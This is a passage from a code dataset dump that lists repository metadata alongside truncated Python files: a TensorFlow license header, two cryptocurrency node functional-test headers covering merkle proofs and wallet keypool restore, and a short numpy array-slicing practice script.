] | 1 | 2019-03-12T19:45:24.000Z | 2019-03-12T19:45:24.000Z | tensorflow/python/ops/resource_variable_ops.py | MathMachado/tensorflow | 56afda20b15f234c23e8393f7e337e7dd2659c2d | [
"Apache-2.0"
] | 4 | 2018-09-18T19:56:31.000Z | 2020-09-15T09:54:44.000Z | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 41.39613 | 114 | 0.68863 |
c7bd69bf9497410e53e7df2ccc5d6120b7261956 | 4,451 | py | Python | test/functional/merkle_blocks.py | coindroid/sucrecoin | b7506a64634f3dfa81d27c94c02709197e9244e5 | [
"MIT"
] | 30 | 2017-12-15T15:21:46.000Z | 2021-07-27T21:43:25.000Z | test/functional/merkle_blocks.py | SucrecoinProject/Sucreold2019 | c6d19ccce4649462325156a01e8d6aa9b7fb8a73 | [
"MIT"
] | null | null | null | test/functional/merkle_blocks.py | SucrecoinProject/Sucreold2019 | c6d19ccce4649462325156a01e8d6aa9b7fb8a73 | [
"MIT"
] | 26 | 2017-12-17T11:53:36.000Z | 2020-12-28T18:17:19.000Z | #!/usr/bin/env python3
# Copyright (c) 2014-2016 The Bitcoin Core developers
# Copyright (c) 2017 The Sucrecoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test gettxoutproof and verifytxoutproof RPCs."""
fr... | 52.364706 | 142 | 0.687711 |
ad2c576d6edc8a0df4d7993631c547c63cb4c3c2 | 4,447 | py | Python | test/functional/wallet_keypool_topup.py | ocvcoin/ocvcoin | e816ac4a7dc57b00a5e085052a6bb3c94bf4959b | [
"MIT"
] | 2 | 2021-10-30T04:29:45.000Z | 2021-12-11T16:49:57.000Z | test/functional/wallet_keypool_topup.py | ocvcoin/ocvcoin | e816ac4a7dc57b00a5e085052a6bb3c94bf4959b | [
"MIT"
] | 2 | 2021-09-13T22:46:42.000Z | 2021-09-14T08:47:00.000Z | test/functional/wallet_keypool_topup.py | ocvcoin/ocvcoin | e816ac4a7dc57b00a5e085052a6bb3c94bf4959b | [
"MIT"
] | 2 | 2021-11-18T09:48:59.000Z | 2021-12-23T04:33:02.000Z | #!/usr/bin/env python3
# Copyright (c) 2017-2020 The Ocvcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test HD Wallet keypool restore function.
Two nodes. Node1 is under test. Node0 is providing transactio... | 46.810526 | 164 | 0.657747 |
7950c047b2c2857c6acfd01961aab2f0cd526ac5 | 424 | py | Python | Numpy/arrays.py | Fernal73/LearnPython3 | 5288017c0dbf95633b84f1e6324f00dec6982d36 | [
"MIT"
] | 1 | 2021-12-17T11:03:13.000Z | 2021-12-17T11:03:13.000Z | Numpy/arrays.py | Fernal73/LearnPython3 | 5288017c0dbf95633b84f1e6324f00dec6982d36 | [
"MIT"
] | 1 | 2020-02-05T00:14:43.000Z | 2020-02-06T09:22:49.000Z | Numpy/arrays.py | Fernal73/LearnPython3 | 5288017c0dbf95633b84f1e6324f00dec6982d36 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import numpy as np
a = np.arange(1,16,dtype=int).reshape(3,5).T
print(a)
b = a[1:4:2]
print(b)
a = a.T
b = a[:,1:4:2]
print(b)
a = np.arange(25).reshape(5, 5)
b = np.array([1., 5, 10, 15, 20])
print(a,b)
c = a / b[:, np.newaxis]
print(c)
a = np.random.rand(10,3)
print(a)... | 16.96 | 44 | 0.558962 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.